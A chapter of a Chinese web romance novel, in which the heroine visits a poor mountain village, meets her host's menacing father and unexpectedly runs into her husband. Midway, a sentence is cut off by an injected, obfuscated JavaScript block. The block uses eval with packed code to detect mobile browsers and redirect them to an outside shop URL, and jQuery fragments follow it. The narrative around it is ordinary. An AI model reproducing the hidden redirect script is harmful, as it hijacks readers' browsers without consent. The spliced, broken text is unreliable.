18. 况况委屈QAQ

作品:《脱敏治疗

    周一一大早,孟况就已经开车在楼下等着了。优梦昨晚查资料到太晚,差点睡过头,匆匆忙忙上车,有些不太好意思。


    这段时间周且琛都不在家,阿姨也只按照她一个人的口味来做饭,周末邀叶曦来家里留宿,两个人尽情狂欢到深夜都没人打扰,只享受属于她们两个人的天地,生活简直过得有滋有味。


    没有他在,重新恢复到一个人的生活就好像回到了她还没结婚的阶段。


    爽!


    公司里的人得知孟况结婚的这个事还是通过的新闻,消息传播没多久,他们就都收到了喜糖和结婚请柬。


    不过都太忙了,大家都没什么时间,只有一些公司上层领导去参加了。


    优梦来公司一年了,知道她身份尊贵,和他们这些普通打工人不一样。虽然说孟况是大户人家的千金大小姐,但她为人相当和善友好,几乎没什么架子,对工作也很认真上心,什么事都亲力亲为。


    这些众人都看在眼里。


    就比如说这次有关于设计主题的事。


    按照地图导航下了高速路,后面的路况复杂,山路也比较崎岖,车身震动摇晃得有些难受。


    孟况第一时间发现了坐在副驾驶位上的优梦不对劲,她脸色惨白,一直在用手按住胸口像是喘不过来气,孟况及时停车。


    终于,优梦下车就跑到一旁野草丛里不停地在呕吐,胃里一阵翻江倒海,感觉内脏都要连带着一并吐出体外。


    好一会儿,优梦才缓过劲来。


    “还好吗?”


    孟况从车里拿了一瓶矿泉水递给她,优梦好多了,但还是很难受。


    “...谢谢况姐。”


    她伸手接过,喝了一口。


    以前她也晕车,但是没那么严重。


    还伴随着一些其它的不适反应,而且都已经过去那么久了。


    她还以为克服了,没想到会卷土重来。


    优梦内心感到愧疚。


    孟况带她出勤找设计灵感,她却没能把握住这次机会。


    距离荷田村估计还有两个小时才能到,地方偏僻不好走,优梦晕车反应剧烈,孟况怕她坚持不住,就安排她在山脚下的民宿休息,等过几天好了再给她发消息。


    一开始,优梦是很抗拒的,一来是不想辜负孟况这次的用意,二来更是因为她一个女孩子孤山野岭的不安全。


    但孟况眨眨眼让她不用担心,以前学过跆拳道。


    还是黑带。


    而且在出发之前,她也查询过荷田村的位置,了解过一些消息。


    这儿听说风景不错,很多登山爱好者或者是野外旅行的人都会选择来这边体验打卡。


    到最后,优梦拗不过孟况,分别之前让她到了一定要给自己发消息。


    孟况比了个ok的手势。


    天逐渐阴沉下来,上山的路越来越狭窄,孟况只好把车停在了一个平坦的位置,把登山包拿了下来。


    她打着手电筒继续往里走,拨出电话号码,于清清很快就接通了,两人在成功碰面。


    “...孟况姐。”


    于清清也打着手电筒,怕天色太暗看不见,跟她招手。


    孟况累个半死,走到她身边喘着粗气,还不忘和她调侃逗趣几句:“你们荷田村这么远的吗,上山也太累了吧。”


    这句话但凡换个语气就很容易让人误会是嫌弃的意思,但孟况语气里带着笑意,冲刷了这层感觉。


    “...是有点远,但是我们环境还是很不错的。”


    于清清比较腼腆,说话略微局促窘迫。


    “孟况姐,明天一早,你可以趴在窗台去看日出,很漂亮的。”


    她说着,提起家乡的美景就稍微自信了起来。


    其实起初,她看到孟况给她发私信说要来荷田村游玩几天,顺便找些工作上的灵感,她是有些惊诧的。


    后来想到了什么,还是答应下来。


    她也没有理由不同意。


    大家都挺喜欢来这儿旅游放松心情。


    “对了,这个送给你。”


    走到一半的时候,孟况从包里拿出一只礼盒给她。


    “这个是...?”


    于清清打开,发现里面居然是一部智能手机,看着不贵但肯定也不便宜。


    她捧在手里,像是一个烫手山芋,连忙拒绝:“不行不行,孟况姐,这个太贵重了,我不能收的。”


    孟况没太在意,她笑着把手机推回去,找了个合理的说辞。


    “你就收下吧,就当是辛苦费了,这几天还要你帮忙关照一下呢。”


    上次婚礼上,她就有注意到于清清的手机用的还是老年机,所以转账不方便,那时孟况记得她说自己是从荷田村来的,想着她过得应该不太容易。


    出于好心就多给她塞了点路费,好让她买贵点的车票回去,路上坐得也会舒服点。


    孟况过年期间给她发微博私信,也有顺手点进她的主页浏览,手机的标志都不一样,大概是借的身边好友登录的。


    想着,就准备了一部不算贵的手机送给她,不过怕她有负担,也早早想好了措辞。


    于清清紧紧攥住那只手机,内心感动又感激,惹得她眼角微微泛红。


    “谢谢孟况姐。”


    她们走了一段路就到了荷田村,孟况就已经累得腿脚酸痛得不行。


    为了今天出行方便,孟况特意将头皮扎成高马尾,就连最爱的高跟鞋都忍痛给换成平底鞋,简单的浅紫色外套上衣搭配微喇裤,妆容也化得比较淡,没有平时那种张扬的攻击性,反而更加有亲和力。


    于清清在前面带路,这儿的人看着一个个都很朴实无华,他们大多都刚从田地里面回来,一张脸灰扑扑的,肩膀上扛着工具,带着一身疲倦走在路上。


    见到于清清都会打招呼,然后又说了一些什么她听不懂的方言跟于清清交流,于清清也回话。


    往来的行人都投来一道道目光,在她身上徘徊,孟况比较自信,从小到大就连走在路上都会被人盯,习惯了。


    他们也大多能感受到,孟况那种与生俱来的独特性。


    不像是普通游客。


    直到迎面而来一个中年男人,他正磕瓜子倚靠在石柱上,和几个人聊着天,于清清一见到他就眼神闪躲。


    路线骤然刹车改变,打了个措手不及,孟况疑惑。


    “于清清!”


    可惜,她还是被发现了。


    男人大步冲过来,凶神恶煞的。


    孟况见这人浑身散发着一股市井恶臭味,忍不住皱深眉。


    “死丫头,不去田里帮你妈的忙,滚哪去了?”


    他破口大骂,很快注意到了孟况。


    男人的目光直白又无礼,对着她一顿上下打量。


    这种感觉,孟况太熟悉了。


    不等他们再点燃出硝烟战火,于清清就把她拉走了,可孟况却还是能感受到那股炙热又恶心的目光黏腻在自己身上。


    两人进了一间小屋子,里面的陈设布置都很简陋落后,但胜在干净整洁。孟况把登山包放在一旁的木桌上,里里外外都转了一圈。


    “...孟况姐,委屈您在这儿住下了。这个房间我已经打扫好了,被套拖鞋洗漱用品什么的也都是新的,没人用过。”


    自从上次回来之后,她就清楚了孟况家里背


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957882|193213||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    景实力有多么雄厚,不是一般人可以比较的,她从小被家里人捧在心尖上宠大,肯定没住过一天这种破旧瓦房。


    但荷田村条件有限,于清清也只能尽自己最大的努力让她在这里过得舒服一些。


    “没关系,很不错了。”


    从头到尾,孟况都没露出过一丝丝鄙弃排斥的表情。听见她说的话,于清清也终于心安了一些。


    “...刚刚那人是?”


    迟疑了一会儿,孟况才不太好地问出口。


    “我爸...”


    于清清提起这个人时,脸色不太自然,甚至有一些逃避的感觉,她很快转移话题:“孟况姐,你饿吗?我去给你弄点吃的吧。”


    “不用了,我不饿的,来的路上就已经吃过了。”


    等什么都安顿好了,于清清才回去,并叮嘱她有什么事情可以给她发消息,反正两个人也都加了联系方式。


    于清清走之后,孟况站在原地,再次目视一圈自己接下来要面临的生存环境,表情一脸苦闷,陷入两难的境地。


    她是第一次体验清贫困苦的生活,总算是亲身理解了那句什么是“由奢入俭难。”


    这间屋子比较昏暗,头顶上吊着一盏灯,床头设置了一条绳子,往下一拉就能关闭,再拉一次就能打开。


    房门是木板门,推出来推出去都是嘎吱作响,不知道为什么她一个人听这个声音有点渗得慌。


    即便是拉上门闩,孟况也觉得没什么用,因为底下缝大,总能联想有人在底下伸出一双眼睛偷窥。


    卫生间是蹲坑设计,空间比较小,不管是做什么都只能容下一个人,花洒粗略地挂在水龙头上,设施都比较老化,垃圾桶换了新的塑料袋,但旁边还遗漏了一只烟头。


    估计是上一个游客留下来的。


    还是位男性。


    孟况退出来,坐在这张唯一还算干净的床上,盯着纱窗出神,欲哭无泪,心中万般后悔。


    早知道还是让优梦陪着她一块来了。


    她在逞什么英雄嘛。


    现在,她的思乡之情在此刻达到顶峰。


    为了转移注意力,孟况把电脑和平板都拿了出来,好在这个房间有网络,她带来的东西都用得上。


    半小时之前,优梦给她发了条消息,她还没回。


    优梦:【况姐,到了吗?】


    孟况:【嗯,到了。】


    对方正在输入中...


    优梦:【环境还好吗?要不然我明天还是上去跟你一起吧。】


    虽然孟况很想说好,但是她还是毅然发下那句:怕你到时候更严重,你还是在山脚下多休息两天再说吧。


    说完,孟况又去找叶曦诉苦,好在叶曦刚从酒吧回来,回了她的消息。


    叶曦:【你自己一个人在那个什么村啊,你老公呢?】


    孟况:【我都大半个月没再见到他了,我怎么知道他哪儿去了。】


    要他有什么用?


    他总不可能出现在这儿穷乡僻壤的小地方吧。


    两人聊完,外面下起了一阵雨,这雨伴随着疾风来得急,孟况走到门口,想把门关上,结果迎面飞奔而来穿蓑衣戴斗笠的两个人。


    孟况驻足在门口,不太确定那人是不是他,想再近点儿看清楚一些。


    两人对视的一瞬间,她就确定了。


    “你怎么在这儿?”周且琛惊诧地问道。


    直到他本人有实感地站在她面前,孟况也不知道为什么,眼睛酸涩,顿时委屈,从最初的不适感到现在就跟开了闸的排泄口一样,毫无征兆地喷涌而出。


    在他说完的下一秒,她突然就抱住了他的腰身。